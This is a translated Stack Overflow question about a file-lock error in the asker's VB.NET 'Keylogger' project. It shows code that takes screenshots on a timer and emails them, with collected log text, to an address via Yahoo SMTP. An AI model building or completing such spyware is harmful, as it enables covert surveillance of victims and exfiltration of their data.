【发布时间】:2013-08-10 03:38:26
【问题描述】:
当我运行我的程序时,它遇到了这个错误
The process cannot access the file
'C:\Users\user\Documents\Visual Studio 2010\Projects\Keylogger\WindowsApplication1\bin\Debug\pic\img1.png'
because it is being used by another process.
这个错误是针对 Dim attach As New Attachment(Application.StartupPath & "\pic\" & "\img" & i & ".png")
有人可以帮助我吗?提前致谢!
这是我的完整代码:
private j as integer = 1
Public Function TakeImage()
Return TakeImage(0, 0, Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height)
End Function
Public Function TakeImage(ByVal X As Integer, ByVal Y As Integer, ByVal Width As Integer, ByVal Height As Integer)
Dim Img As New Bitmap(Width, Height)
Dim g As Graphics = Graphics.FromImage(Img)
g.CopyFromScreen(X, Y, 0, 0, Img.Size)
g.Dispose()
Return Img
End Function
Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
Dim i As Integer
Dim smtpServer As New SmtpClient
smtpServer.EnableSsl = True
Dim mail As New MailMessage
smtpServer.Credentials = New Net.NetworkCredential("********", "********")
smtpServer.Port = 587
smtpServer.Host = "smtp.mail.yahoo.com"
mail = New MailMessage
mail.From = New MailAddress("********")
mail.To.Add("*********")
mail.Subject = ("Parham")
mail.Body = txtlogs.Text
For i = 1 To 3
Using fs As FileStream = New FileStream(Application.StartupPath & "\pic\" & "\img" & i & ".png", FileMode.Open)
Dim attach As New Attachment(Application.StartupPath & "\pic\" & "\img" & i & ".png")
mail.Attachments.Add(attach)
smtpServer.Send(mail)
If File.Exists(Application.StartupPath & "\pic\" & "\img" & j & ".png") Then
File.Delete(Application.StartupPath & "\pic\" & "\img" & j & ".png")
End If
End Using
Next
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
If Not Directory.Exists(Application.StartupPath & "\pic\") Then
Directory.CreateDirectory(Application.StartupPath & "\pic\")
End If
End Sub
Private Sub tmrScrShot_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrScrShot.Tick
Dim picture As Image = TakeImage()
Using picture
picture.Save(Application.StartupPath & "\pic\" & "\img" & j & ".png", System.Drawing.Imaging.ImageFormat.Png)
End Using
j += 1
If j > 3 Then
j = New Integer
j = 1
End If
End Sub
【问题讨论】:
-
如何加载图像?请出示 TakeImage() 的代码
-
哦,好吧,对不起,我忘了我要编辑我的代码!
-
不确定,但我会尝试使用
Using picture = TakeImage(),同时删除所有路径连接并使用 Path.Combine。最后,您的j变量存在问题。你发送 img+i 但删除 img+j -
是的,因为我想在文件夹名称“pic”中制作 3 张图片,但我无法重写它,因为会出现错误“generic gdi+”,所以我需要删除图片然后另存为新图片。
标签: vb.net ioexception